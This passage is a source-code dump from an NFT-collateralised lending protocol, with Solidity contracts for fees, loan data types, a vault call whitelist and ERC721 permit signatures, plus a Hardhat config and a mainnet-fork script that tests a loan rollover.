{ 93 | contractAddress: assetVaultAddress, 94 | contractImplementationAddress: "", 95 | constructorArgs: [] 96 | }; 97 | 98 | contractInfo["VaultFactory"] = { 99 | contractAddress: vaultFactoryAddress, 100 | contractImplementationAddress: await upgrades.erc1967.getImplementationAddress(vaultFactoryAddress), 101 | constructorArgs: [] 102 | }; 103 | 104 | contractInfo["FeeController"] = { 105 | contractAddress: feeControllerAddress, 106 | contractImplementationAddress: "", 107 | constructorArgs: [] 108 | }; 109 | 110 | contractInfo["BorrowerNote"] = { 111 | contractAddress: borrowerNoteAddress, 112 | constructorArgs: [bNoteName, bNoteSymbol] 113 | }; 114 | 115 | contractInfo["LenderNote"] = { 116 | contractAddress: lenderNoteAddress, 117 | constructorArgs: [lNoteName, lNoteSymbol] 118 | }; 119 | 120 | contractInfo["LoanCore"] = { 121 | contractAddress: loanCoreAddress, 122 | contractImplementationAddress: await upgrades.erc1967.getImplementationAddress(loanCoreAddress), 123 | constructorArgs: [], 124 | }; 125 | 126 | contractInfo["RepaymentController"] = { 127 | contractAddress: repaymentContAddress, 128 | contractImplementationAddress: "", 129 | constructorArgs: [loanCoreAddress] 130 | }; 131 | 132 | contractInfo["OriginationController"] = { 133 | contractAddress: originationContAddress, 134 | contractImplementationAddress: await upgrades.erc1967.getImplementationAddress(originationContAddress), 135 | constructorArgs: [] 136 | }; 137 | 138 | contractInfo["ArcadeItemsVerifier"] = { 139 | contractAddress: verifierAddress, 140 | contractImplementationAddress: "", 141 | constructorArgs: [] 142 | }; 143 | 144 | return contractInfo; 145 | } 146 | -------------------------------------------------------------------------------- /contracts/FeeController.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "@openzeppelin/contracts/access/AccessControlEnumerable.sol"; 6 | import "@openzeppelin/contracts/access/Ownable.sol"; 7 | import "./interfaces/IFeeController.sol"; 8 | 9 | import { FC_FeeTooLarge } from "./errors/Lending.sol"; 10 | 11 | /** 12 | * @title FeeController 13 | * @author Non-Fungible Technologies, Inc. 14 | * 15 | * The Fee Controller is used by LoanCore to query for fees for different 16 | * loan lifecycle interactions (origiations, rollovers, etc). All fees should 17 | * have setters and getters and be expressed in BPs. In the future, this contract 18 | * could be extended to support more complex logic (introducing a mapping of users 19 | * who get a discount, e.g.). Since LoanCore can change the fee controller reference, 20 | * any changes to this contract can be newly deployed on-chain and adopted. 21 | */ 22 | contract FeeController is IFeeController, Ownable { 23 | // ============================================ STATE ============================================== 24 | 25 | /// @dev Global maximum fees, preventing attacks by owners 26 | /// which drain principal. 27 | uint256 public constant MAX_ORIGINATION_FEE = 1000; 28 | uint256 public constant MAX_ROLLOVER_FEE = 500; 29 | uint256 public constant MAX_COLLATERALSALE_FEE = 500; 30 | uint256 public constant MAX_PAYLATER_FEE = 500; 31 | 32 | /// @dev Fee for origination - default is 0.5% 33 | uint256 private originationFee = 50; 34 | /// @dev Fee for rollovers - default is 0.1% 35 | uint256 private rolloverFee = 10; 36 | /// @dev Fee for collateral sale - default is 0.0% 37 | uint256 private collateralSaleFee = 0; 38 | /// @dev Fee for pay later - default is 0.0% 39 | uint256 private payLaterFee = 0; 40 | 41 | // ========================================= FEE SETTERS =========================================== 42 | 43 | /** 44 | * @notice Set the origination fee to the given value. The caller 45 | * must be the owner of the contract. 46 | * 47 | * @param _originationFee The new origination fee, in bps. 48 | */ 49 | function setOriginationFee(uint256 _originationFee) external override onlyOwner { 50 | if (_originationFee > MAX_ORIGINATION_FEE) revert FC_FeeTooLarge(); 51 | 52 | originationFee = _originationFee; 53 | emit UpdateOriginationFee(_originationFee); 54 | } 55 | 56 | /** 57 | * @notice Set the rollover fee to the given value. The caller 58 | * must be the owner of the contract. 59 | * 60 | * @param _rolloverFee The new rollover fee, in bps. 61 | */ 62 | function setRolloverFee(uint256 _rolloverFee) external override onlyOwner { 63 | if (_rolloverFee > MAX_ROLLOVER_FEE) revert FC_FeeTooLarge(); 64 | 65 | rolloverFee = _rolloverFee; 66 | emit UpdateRolloverFee(_rolloverFee); 67 | } 68 | 69 | /** 70 | * @notice Set the collateralSale fee to the given value. The caller 71 | * must be the owner of the contract. 72 | * 73 | * @param _collateralSaleFee The new collateralSale fee, in bps. 74 | */ 75 | function setCollateralSaleFee(uint256 _collateralSaleFee) external override onlyOwner { 76 | if (_collateralSaleFee > MAX_COLLATERALSALE_FEE) revert FC_FeeTooLarge(); 77 | 78 | collateralSaleFee = _collateralSaleFee; 79 | emit UpdateCollateralSaleFee(_collateralSaleFee); 80 | } 81 | 82 | /** 83 | * @notice Set the payLater fee to the given value. The caller 84 | * must be the owner of the contract. 85 | * 86 | * @param _payLaterFee The new payLater fee, in bps. 87 | */ 88 | function setPayLaterFee(uint256 _payLaterFee) external override onlyOwner { 89 | if (_payLaterFee > MAX_PAYLATER_FEE) revert FC_FeeTooLarge(); 90 | 91 | payLaterFee = _payLaterFee; 92 | emit UpdatePayLaterFee(_payLaterFee); 93 | } 94 | 95 | // ========================================= FEE GETTERS =========================================== 96 | 97 | /** 98 | * @notice Get the current origination fee in bps. 99 | * 100 | * @return originationFee The current fee in bps. 101 | */ 102 | function getOriginationFee() public view override returns (uint256) { 103 | return originationFee; 104 | } 105 | 106 | /** 107 | * @notice Get the current rollover fee in bps. 108 | * 109 | * @return rolloverFee The current fee in bps. 110 | */ 111 | function getRolloverFee() public view override returns (uint256) { 112 | return rolloverFee; 113 | } 114 | 115 | /** 116 | * @notice Get the current collateralSale fee in bps. 117 | * 118 | * @return collateralSaleFee The current fee in bps. 119 | */ 120 | function getCollateralSaleFee() public view override returns (uint256) { 121 | return collateralSaleFee; 122 | } 123 | 124 | /** 125 | * @notice Get the current payLater fee in bps. 126 | * 127 | * @return payLaterFee The current fee in bps. 128 | */ 129 | function getPayLaterFee() public view override returns (uint256) { 130 | return payLaterFee; 131 | } 132 | } 133 | -------------------------------------------------------------------------------- /contracts/libraries/LoanLibrary.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | /** 6 | * @title LoanLibrary 7 | * @author Non-Fungible Technologies, Inc. 8 | * 9 | * Contains all data types used across Arcade lending contracts. 10 | */ 11 | library LoanLibrary { 12 | /** 13 | * @dev Enum describing the current state of a loan. 14 | * State change flow: 15 | * Created -> Active -> Repaid 16 | * -> Defaulted 17 | */ 18 | enum LoanState { 19 | // We need a default that is not 'Created' - this is the zero value 20 | DUMMY_DO_NOT_USE, 21 | // The loan has been initialized, funds have been delivered to the borrower and the collateral is held. 22 | Active, 23 | // The loan has been repaid, and the collateral has been returned to the borrower. This is a terminal state. 24 | Repaid, 25 | // The loan was delinquent and collateral claimed by the lender. This is a terminal state. 26 | Defaulted 27 | } 28 | 29 | /** 30 | * @dev The raw terms of a loan. 31 | */ 32 | struct LoanTerms { 33 | /// @dev Packed variables 34 | // The number of seconds representing relative due date of the loan. 35 | /// @dev Max is 94,608,000, fits in 32 bits 36 | uint32 durationSecs; 37 | // Timestamp for when signature for terms expires 38 | uint32 deadline; 39 | // Total number of installment periods within the loan duration. 40 | /// @dev Max is 1,000,000, fits in 24 bits 41 | uint24 numInstallments; 42 | // Interest expressed as a rate, unlike V1 gross value. 43 | // Input conversion: 0.01% = (1 * 10**18) , 10.00% = (1000 * 10**18) 44 | // This represents the rate over the lifetime of the loan, not APR. 45 | // 0.01% is the minimum interest rate allowed by the protocol. 46 | /// @dev Max is 10,000%, fits in 160 bits 47 | uint160 interestRate; 48 | /// @dev Full-slot variables 49 | // The amount of principal in terms of the payableCurrency. 50 | uint256 principal; 51 | // The token ID of the address holding the collateral. 52 | /// @dev Can be an AssetVault, or the NFT contract for unbundled collateral 53 | address collateralAddress; 54 | // The token ID of the collateral. 55 | uint256 collateralId; 56 | // The payable currency for the loan principal and interest. 57 | address payableCurrency; 58 | } 59 | 60 | /** 61 | * @dev Modification of loan terms, used for signing only. 62 | * Instead of a collateralId, a list of predicates 63 | * is defined by 'bytes' in items. 64 | */ 65 | struct LoanTermsWithItems { 66 | /// @dev Packed variables 67 | // The number of seconds representing relative due date of the loan. 68 | /// @dev Max is 94,608,000, fits in 32 bits 69 | uint32 durationSecs; 70 | // Timestamp for when signature for terms expires 71 | uint32 deadline; 72 | // Total number of installment periods within the loan duration. 73 | /// @dev Max is 1,000,000, fits in 24 bits 74 | uint24 numInstallments; 75 | // Interest expressed as a rate, unlike V1 gross value. 76 | // Input conversion: 0.01% = (1 * 10**18) , 10.00% = (1000 * 10**18) 77 | // This represents the rate over the lifetime of the loan, not APR. 78 | // 0.01% is the minimum interest rate allowed by the protocol. 79 | /// @dev Max is 10,000%, fits in 160 bits 80 | uint160 interestRate; 81 | /// @dev Full-slot variables 82 | uint256 principal; 83 | // The tokenID of the address holding the collateral 84 | /// @dev Must be an AssetVault for LoanTermsWithItems 85 | address collateralAddress; 86 | // An encoded list of predicates 87 | bytes items; 88 | // The payable currency for the loan principal and interest 89 | address payableCurrency; 90 | } 91 | 92 | /** 93 | * @dev Predicate for item-based verifications 94 | */ 95 | struct Predicate { 96 | // The encoded predicate, to decoded and parsed by the verifier contract 97 | bytes data; 98 | // The verifier contract 99 | address verifier; 100 | } 101 | 102 | /** 103 | * @dev The data of a loan. This is stored once the loan is Active 104 | */ 105 | struct LoanData { 106 | /// @dev Packed variables 107 | // The current state of the loan 108 | LoanState state; 109 | // Number of installment payments made on the loan 110 | uint24 numInstallmentsPaid; 111 | // installment loan specific 112 | // Start date of the loan, using block.timestamp - for determining installment period 113 | uint160 startDate; 114 | /// @dev Full-slot variables 115 | // The raw terms of the loan 116 | LoanTerms terms; 117 | // Remaining balance of the loan. Starts as equal to principal. Can reduce based on 118 | // payments made, can increased based on compounded interest from missed payments and late fees 119 | uint256 balance; 120 | // Amount paid in total by the borrower 121 | uint256 balancePaid; 122 | // Total amount of late fees accrued 123 | uint256 lateFeesAccrued; 124 | } 125 | } 126 | -------------------------------------------------------------------------------- /hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import "@typechain/hardhat"; 2 | import "@nomiclabs/hardhat-waffle"; 3 | import "@nomiclabs/hardhat-etherscan"; 4 | import "hardhat-gas-reporter"; 5 | import "solidity-coverage"; 6 | import "@nomiclabs/hardhat-ethers"; 7 | import "@nomiclabs/hardhat-etherscan"; 8 | import "@openzeppelin/hardhat-upgrades"; 9 | import "hardhat-contract-sizer"; 10 | 11 | import "./tasks/accounts"; 12 | import "./tasks/clean"; 13 | 14 | import { resolve } from "path"; 15 | 16 | import { config as dotenvConfig } from "dotenv"; 17 | import { HardhatUserConfig } from "hardhat/config"; 18 | import { NetworkUserConfig, HardhatNetworkUserConfig } from "hardhat/types"; 19 | 20 | dotenvConfig({ path: resolve(__dirname, "./.env") }); 21 | 22 | const chainIds = { 23 | ganache: 1337, 24 | goerli: 5, 25 | hardhat: 1337, 26 | localhost: 31337, 27 | kovan: 42, 28 | mainnet: 1, 29 | rinkeby: 4, 30 | ropsten: 3, 31 | }; 32 | 33 | // Ensure that we have all the environment variables we need. 34 | let mnemonic: string; 35 | if (!process.env.MNEMONIC) { 36 | mnemonic = "test test test test test test test test test test test junk"; 37 | } else { 38 | mnemonic = process.env.MNEMONIC; 39 | } 40 | 41 | const forkMainnet = process.env.FORK_MAINNET === "true"; 42 | 43 | let alchemyApiKey: string | undefined; 44 | if (forkMainnet && !process.env.ALCHEMY_API_KEY) { 45 | throw new Error("Please set process.env.ALCHEMY_API_KEY"); 46 | } else { 47 | alchemyApiKey = process.env.ALCHEMY_API_KEY; 48 | } 49 | 50 | // create testnet network 51 | function createTestnetConfig(network: keyof typeof chainIds): NetworkUserConfig { 52 | const url = `https://eth-${network}.alchemyapi.io/v2/${alchemyApiKey}`; 53 | return { 54 | accounts: { 55 | count: 10, 56 | initialIndex: 0, 57 | mnemonic, 58 | path: "m/44'/60'/0'/0", // HD derivation path 59 | }, 60 | chainId: chainIds[network], 61 | url, 62 | }; 63 | } 64 | 65 | // create local network config 66 | function createHardhatConfig(): HardhatNetworkUserConfig { 67 | const config = { 68 | accounts: { 69 | mnemonic, 70 | }, 71 | allowUnlimitedContractSize: true, 72 | chainId: chainIds.hardhat, 73 | contractSizer: { 74 | alphaSort: true, 75 | disambiguatePaths: false, 76 | runOnCompile: true, 77 | strict: true, 78 | only: [":ERC20$"], 79 | }, 80 | }; 81 | 82 | if (forkMainnet) { 83 | return Object.assign(config, { 84 | forking: { 85 | url: `https://eth-mainnet.alchemyapi.io/v2/${alchemyApiKey}`, 86 | }, 87 | }); 88 | } 89 | 90 | return config; 91 | } 92 | 93 | function createMainnetConfig(): NetworkUserConfig { 94 | return { 95 | accounts: { 96 | mnemonic, 97 | }, 98 | chainId: chainIds.mainnet, 99 | url: `https://eth-mainnet.alchemyapi.io/v2/${alchemyApiKey}`, 100 | }; 101 | } 102 | 103 | const optimizerEnabled = process.env.DISABLE_OPTIMIZER ? false : true; 104 | 105 | export const config: HardhatUserConfig = { 106 | defaultNetwork: "hardhat", 107 | gasReporter: { 108 | currency: "USD", 109 | enabled: process.env.REPORT_GAS ? true : false, 110 | excludeContracts: [], 111 | src: "./contracts", 112 | coinmarketcap: process.env.COINMARKETCAP_API_KEY, 113 | outputFile: process.env.REPORT_GAS_OUTPUT, 114 | }, 115 | networks: { 116 | mainnet: createMainnetConfig(), 117 | hardhat: createHardhatConfig(), 118 | goerli: createTestnetConfig("goerli"), 119 | kovan: createTestnetConfig("kovan"), 120 | rinkeby: createTestnetConfig("rinkeby"), 121 | ropsten: createTestnetConfig("ropsten"), 122 | localhost: { 123 | accounts: { 124 | mnemonic, 125 | }, 126 | chainId: chainIds.hardhat, 127 | gasMultiplier: 10, 128 | }, 129 | }, 130 | paths: { 131 | artifacts: "./artifacts", 132 | cache: "./cache", 133 | sources: "./contracts", 134 | tests: "./test", 135 | }, 136 | solidity: { 137 | compilers: [ 138 | { 139 | version: "0.8.11", 140 | settings: { 141 | metadata: { 142 | // Not including the metadata hash 143 | // https://github.com/paulrberg/solidity-template/issues/31 144 | bytecodeHash: "none", 145 | }, 146 | // You should disable the optimizer when debugging 147 | // https://hardhat.org/hardhat-network/#solidity-optimizer-support 148 | optimizer: { 149 | enabled: optimizerEnabled, 150 | runs: 200, 151 | }, 152 | }, 153 | }, 154 | { 155 | version: "0.7.0", 156 | }, 157 | { 158 | version: "0.4.12", 159 | }, 160 | ], 161 | }, 162 | typechain: { 163 | outDir: "typechain", 164 | target: "ethers-v5", 165 | }, 166 | etherscan: { 167 | apiKey: process.env.ETHERSCAN_API_KEY, 168 | }, 169 | }; 170 | 171 | export default config; 172 | -------------------------------------------------------------------------------- /contracts/vault/CallWhitelist.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "@openzeppelin/contracts/access/Ownable.sol"; 6 | import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; 7 | import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; 8 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; 9 | 10 | import "../interfaces/ICallWhitelist.sol"; 11 | import "../interfaces/IERC721Permit.sol"; 12 | 13 | /** 14 | * @title CallWhitelist 15 | * @author Non-Fungible Technologies, Inc. 16 | * 17 | * Maintains a whitelist for calls that can be made from an AssetVault. 18 | * Intended to be used to allow for "claim" and other-utility based 19 | * functions while an asset is being held in escrow. Some functions 20 | * are blacklisted, e.g. transfer functions, to prevent callers from 21 | * being able to circumvent withdrawal rules for escrowed assets. 22 | * Whitelists are specified in terms of "target contract" (callee) 23 | * and function selector. 24 | * 25 | * The contract owner can add or remove items from the whitelist. 26 | */ 27 | contract CallWhitelist is Ownable, ICallWhitelist { 28 | using SafeERC20 for IERC20; 29 | // ============================================ STATE ============================================== 30 | 31 | // ============= Global Immutable State ============== 32 | 33 | /** 34 | * @dev Global blacklist for transfer functions. 35 | */ 36 | bytes4 private constant ERC20_TRANSFER = IERC20.transfer.selector; 37 | bytes4 private constant ERC20_ERC721_APPROVE = IERC20.approve.selector; 38 | bytes4 private constant ERC20_ERC721_TRANSFER_FROM = IERC20.transferFrom.selector; 39 | 40 | bytes4 private constant ERC721_SAFE_TRANSFER_FROM = bytes4(keccak256("safeTransferFrom(address,address,uint256)")); 41 | bytes4 private constant ERC721_SAFE_TRANSFER_FROM_DATA = bytes4(keccak256("safeTransferFrom(address,address,uint256,bytes)")); 42 | bytes4 private constant ERC721_ERC1155_SET_APPROVAL = IERC721.setApprovalForAll.selector; 43 | 44 | bytes4 private constant ERC1155_SAFE_TRANSFER_FROM = IERC1155.safeTransferFrom.selector; 45 | bytes4 private constant ERC1155_SAFE_BATCH_TRANSFER_FROM = IERC1155.safeBatchTransferFrom.selector; 46 | 47 | // ================= Whitelist State ================== 48 | 49 | /** 50 | * @notice Whitelist of callable functions on contracts. Maps addresses that 51 | * can be called to function selectors which can be called on it. 52 | * For example, if we want to allow function call 0x0000 on a contract 53 | * at 0x1111, the mapping will contain whitelist[0x1111][0x0000] = true. 54 | */ 55 | mapping(address => mapping(bytes4 => bool)) private whitelist; 56 | 57 | // ========================================= VIEW FUNCTIONS ========================================= 58 | 59 | /** 60 | * @notice Returns true if the given function on the given callee is whitelisted. 61 | * 62 | * @param callee The contract that is intended to be called. 63 | * @param selector The function selector that is intended to be called. 64 | * 65 | * @return isWhitelisted True if whitelisted, else false. 66 | */ 67 | function isWhitelisted(address callee, bytes4 selector) external view override returns (bool) { 68 | return !isBlacklisted(selector) && whitelist[callee][selector]; 69 | } 70 | 71 | /** 72 | * @notice Returns true if the given function selector is on the global blacklist. 73 | * Blacklisted function selectors cannot be called on any contract. 74 | * 75 | * @param selector The function selector to check. 76 | * 77 | * @return isBlacklisted True if blacklisted, else false. 78 | */ 79 | function isBlacklisted(bytes4 selector) public pure override returns (bool) { 80 | return 81 | selector == ERC20_TRANSFER || 82 | selector == ERC20_ERC721_APPROVE || 83 | selector == ERC20_ERC721_TRANSFER_FROM || 84 | selector == ERC721_SAFE_TRANSFER_FROM || 85 | selector == ERC721_SAFE_TRANSFER_FROM_DATA || 86 | selector == ERC721_ERC1155_SET_APPROVAL || 87 | selector == ERC1155_SAFE_TRANSFER_FROM || 88 | selector == ERC1155_SAFE_BATCH_TRANSFER_FROM; 89 | } 90 | 91 | // ======================================== UPDATE OPERATIONS ======================================= 92 | 93 | /** 94 | * @notice Add the given callee and selector to the whitelist. Can only be called by owner. 95 | * @dev A blacklist supersedes a whitelist, so should not add blacklisted selectors. 96 | * 97 | * @param callee The contract to whitelist. 98 | * @param selector The function selector to whitelist. 99 | */ 100 | function add(address callee, bytes4 selector) external override onlyOwner { 101 | whitelist[callee][selector] = true; 102 | emit CallAdded(msg.sender, callee, selector); 103 | } 104 | 105 | /** 106 | * @notice Remove the given calle and selector from the whitelist. Can only be called by owner. 107 | * 108 | * @param callee The contract to whitelist. 109 | * @param selector The function selector to whitelist. 110 | */ 111 | function remove(address callee, bytes4 selector) external override onlyOwner { 112 | whitelist[callee][selector] = false; 113 | emit CallRemoved(msg.sender, callee, selector); 114 | } 115 | } 116 | -------------------------------------------------------------------------------- /scripts/test-v1-v2-rollover.ts: -------------------------------------------------------------------------------- 1 | /* eslint no-unused-vars: 0 */ 2 | import "@nomiclabs/hardhat-ethers"; 3 | import hre, { ethers } from "hardhat"; 4 | 5 | import { SECTION_SEPARATOR } from "./utils/bootstrap-tools"; 6 | import { ERC20, PromissoryNote, FlashRolloverV1toV2, VaultFactory } from "../typechain"; 7 | 8 | import { createLoanTermsSignature } from "../test/utils/eip712"; 9 | import { LoanTerms } from "../test/utils/types"; 10 | 11 | export async function main(): Promise { 12 | // Also distribute USDC by impersonating a large account 13 | const BORROWER = "0x5cdde918f2d0d20e001a31cacc38cc16230a19c0"; 14 | const LENDER = "0xb22eb63e215ba39f53845c7ac172a7139f20ea13"; 15 | const USDC_ADDRESS = "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48"; 16 | const WHALE = "0xf584f8728b874a6a5c7a8d4d387c9aae9172d621"; 17 | const OC_ADDRESS = "0x4c52ca29388A8A854095Fd2BeB83191D68DC840b"; 18 | const VAULT_FACTORY_ADDRESS = "0x6e9B4c2f6Bd57b7b924d29b5dcfCa1273Ecc94A2"; 19 | const ADDRESSES_PROVIDER_ADDRESS = "0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5"; 20 | const BORROWER_NOTE_ADDRESS = "0xc3231258D6Ed397Dce7a52a27f816c8f41d22151"; 21 | 22 | const [newLender] = await hre.ethers.getSigners(); 23 | 24 | const LOAN_ID = 29; 25 | const NONCE = 2; 26 | const repayAmount = ethers.utils.parseUnits("129687.5", 6); 27 | 28 | await hre.network.provider.request({ 29 | method: "hardhat_impersonateAccount", 30 | params: [WHALE], 31 | }); 32 | 33 | await hre.network.provider.request({ 34 | method: "hardhat_impersonateAccount", 35 | params: [BORROWER], 36 | }); 37 | 38 | await hre.network.provider.request({ 39 | method: "hardhat_impersonateAccount", 40 | params: [LENDER], 41 | }); 42 | 43 | const borrower = await hre.ethers.getSigner(BORROWER); 44 | const lender = await hre.ethers.getSigner(LENDER); 45 | const whale = await hre.ethers.getSigner(WHALE); 46 | 47 | const erc20Factory = await ethers.getContractFactory("ERC20"); 48 | const usdc = await erc20Factory.attach(USDC_ADDRESS); 49 | 50 | const erc721Factory = await ethers.getContractFactory("ERC721"); 51 | const note = await erc721Factory.attach(BORROWER_NOTE_ADDRESS); 52 | 53 | console.log("Deploying rollover..."); 54 | 55 | const factory = await ethers.getContractFactory("FlashRolloverV1toV2") 56 | const flashRollover = await factory.deploy(ADDRESSES_PROVIDER_ADDRESS); 57 | 58 | console.log("Doing approvals..."); 59 | 60 | await whale.sendTransaction({ to: borrower.address, value: ethers.utils.parseEther("100") }); 61 | await whale.sendTransaction({ to: lender.address, value: ethers.utils.parseEther("100") }); 62 | await whale.sendTransaction({ to: newLender.address, value: ethers.utils.parseEther("100") }); 63 | await usdc.connect(whale).transfer(newLender.address, ethers.utils.parseUnits("1000000", 6)) 64 | await usdc.connect(whale).transfer(borrower.address, ethers.utils.parseUnits("100000", 6)) 65 | 66 | // Lender approves USDC 67 | await usdc.connect(newLender).approve(OC_ADDRESS, ethers.utils.parseUnits("100000000000", 6)); 68 | 69 | // Borrower approves USDC and borrower note 70 | await usdc.connect(borrower).approve(flashRollover.address, ethers.utils.parseUnits("100000000000", 6)); 71 | await note.connect(borrower).approve(flashRollover.address, LOAN_ID); 72 | 73 | console.log("Creating a vault..."); 74 | 75 | // Borrower creates vault 76 | const vfFactory = await ethers.getContractFactory("VaultFactory"); 77 | const vaultFactory = await vfFactory.attach(VAULT_FACTORY_ADDRESS); 78 | 79 | const initTx = await vaultFactory.connect(borrower).initializeBundle(borrower.address); 80 | const initReceipt = await initTx.wait(); 81 | 82 | const createdEvent = initReceipt.events?.find(e => e.event === "VaultCreated"); 83 | const vault = createdEvent?.args?.[0]; 84 | 85 | console.log(`Approving vault ${vault}...`); 86 | 87 | // Borrower approves vault 88 | await vaultFactory.connect(borrower).approve(flashRollover.address, vault); 89 | 90 | console.log("Creating signature..."); 91 | 92 | const loanTerms: LoanTerms = { 93 | durationSecs: 7776000, 94 | deadline: Math.floor(Date.now() / 1000) + 100_000, 95 | numInstallments: 0, 96 | interestRate: ethers.utils.parseEther("3.75"), 97 | principal: repayAmount, 98 | collateralAddress: VAULT_FACTORY_ADDRESS, 99 | collateralId: vault, 100 | payableCurrency: USDC_ADDRESS 101 | }; 102 | 103 | // Lender signs message to terms 104 | const sig = await createLoanTermsSignature( 105 | OC_ADDRESS, 106 | "OriginationController", 107 | loanTerms, 108 | newLender, 109 | "2", 110 | NONCE, 111 | "l", 112 | ); 113 | 114 | console.log("Doing rollover..."); 115 | 116 | const contracts = { 117 | sourceLoanCore: "0x7691EE8feBD406968D46F9De96cB8CC18fC8b325", 118 | targetLoanCore: "0x81b2F8Fc75Bab64A6b144aa6d2fAa127B4Fa7fD9", 119 | sourceRepaymentController: "0xD7B4586b4eD87e2B98aD2df37A6c949C5aB1B1dB", 120 | targetOriginationController: "0x4c52ca29388A8A854095Fd2BeB83191D68DC840b", 121 | targetVaultFactory: "0x6e9B4c2f6Bd57b7b924d29b5dcfCa1273Ecc94A2" 122 | }; 123 | 124 | await flashRollover.connect(borrower).rolloverLoan( 125 | contracts, 126 | LOAN_ID, 127 | loanTerms, 128 | newLender.address, 129 | NONCE, 130 | sig.v, 131 | sig.r, 132 | sig.s 133 | ); 134 | 135 | // // Roll over both loans 136 | console.log(SECTION_SEPARATOR); 137 | console.log("Rollover successful.\n"); 138 | } 139 | 140 | // We recommend this pattern to be able to use async/await everywhere 141 | // and properly handle errors. 142 | if (require.main === module) { 143 | main() 144 | .then(() => process.exit(0)) 145 | .catch((error: Error) => { 146 | console.error(error); 147 | process.exit(1); 148 | }); 149 | } -------------------------------------------------------------------------------- /contracts/ERC721Permit.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "./interfaces/IERC721Permit.sol"; 6 | import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; 7 | import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol"; 8 | import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; 9 | import "@openzeppelin/contracts/utils/Counters.sol"; 10 | 11 | import { ERC721P_DeadlineExpired, ERC721P_NotTokenOwner, ERC721P_InvalidSignature } from "./errors/LendingUtils.sol"; 12 | 13 | /** 14 | * @title ERC721Permit 15 | * @author Non-Fungible Technologies, Inc. 16 | * 17 | * @dev Implementation of the ERC721 Permit extension allowing approvals to be made via signatures, as defined in 18 | * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. 19 | * 20 | * See https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/draft-EIP712.sol 21 | * 22 | * Adds the {permit} method, which can be used to change an account's ERC721 allowance (see {IERC721-allowance}) by 23 | * presenting a message signed by the account. By not relying on `{IERC721-approve}`, the token holder account doesn't 24 | * need to send a transaction, and thus is not required to hold Ether at all. 25 | * 26 | * _Available since v3.4._ 27 | */ 28 | abstract contract ERC721Permit is ERC721, IERC721Permit, EIP712 { 29 | using Counters for Counters.Counter; 30 | 31 | // ============================================ STATE ============================================== 32 | 33 | // solhint-disable-next-line var-name-mixedcase 34 | bytes32 private immutable _PERMIT_TYPEHASH = 35 | keccak256("Permit(address owner,address spender,uint256 tokenId,uint256 nonce,uint256 deadline)"); 36 | 37 | /// @dev Nonce for permit signatures. 38 | mapping(address => Counters.Counter) private _nonces; 39 | 40 | // ========================================== CONSTRUCTOR =========================================== 41 | 42 | /** 43 | * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. 44 | * 45 | * It's a good idea to use the same `name` that is defined as the ERC721 token name. 46 | * 47 | * @param name The name of the signing domain. 48 | */ 49 | constructor(string memory name) EIP712(name, "1") {} 50 | 51 | // ===================================== PERMIT FUNCTIONALITY ======================================= 52 | 53 | /** 54 | * @notice Allows the spender to spend the token ID which is owned by owner, 55 | * given owner's signed approval. 56 | * 57 | * Emits an {Approval} event. 58 | * 59 | * Requirements: 60 | * 61 | * - `spender` cannot be the zero address. 62 | * - `owner` must be the owner of `tokenId`. 63 | * - `deadline` must be a timestamp in the future. 64 | * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` 65 | * over the EIP712-formatted function arguments. 66 | * - the signature must use ``owner``'s current nonce (see {nonces}). 67 | * 68 | * For more information on the signature format, see the 69 | * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP 70 | * section]. 71 | * 72 | * @param owner The owner of the token being permitted. 73 | * @param spender The address allowed to spend the token. 74 | * @param tokenId The token ID of the given asset. 75 | * @param deadline The maximum timestamp the signature is valid for. 76 | * @param v Component of the signature. 77 | * @param r Component of the signature. 78 | * @param s Component of the signature. 79 | */ 80 | function permit( 81 | address owner, 82 | address spender, 83 | uint256 tokenId, 84 | uint256 deadline, 85 | uint8 v, 86 | bytes32 r, 87 | bytes32 s 88 | ) public virtual override { 89 | if (block.timestamp > deadline) revert ERC721P_DeadlineExpired(deadline); 90 | if (owner != ERC721.ownerOf(tokenId)) revert ERC721P_NotTokenOwner(owner); 91 | 92 | bytes32 structHash = keccak256( 93 | abi.encode(_PERMIT_TYPEHASH, owner, spender, tokenId, _useNonce(owner), deadline) 94 | ); 95 | 96 | bytes32 hash = _hashTypedDataV4(structHash); 97 | 98 | address signer = ECDSA.recover(hash, v, r, s); 99 | if (signer != owner) revert ERC721P_InvalidSignature(signer); 100 | 101 | _approve(spender, tokenId); 102 | } 103 | 104 | /** 105 | * @notice Returns the current nonce for `owner`. This value must be 106 | * included whenever a signature is generated. 107 | * 108 | * Every successful call to permit increases the owner's nonce by one. This 109 | * prevents a signature from being used multiple times. 110 | * 111 | * @param owner The given owner to check the nonce for. 112 | * 113 | * @return current The current noonce for the owner. 114 | */ 115 | function nonces(address owner) public view virtual override returns (uint256) { 116 | return _nonces[owner].current(); 117 | } 118 | 119 | /** 120 | * @notice Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}. 121 | * 122 | * @return separator The bytes for the domain separator. 123 | */ 124 | // solhint-disable-next-line func-name-mixedcase 125 | function DOMAIN_SEPARATOR() external view override returns (bytes32) { 126 | return _domainSeparatorV4(); 127 | } 128 | 129 | /** 130 | * @dev Consumes the nonce - returns the current value and increments. 131 | * 132 | * @param owner The address of the user to consume a nonce for. 133 | * 134 | * @return current The current nonce, before incrementation. 135 | */ 136 | function _useNonce(address owner) internal 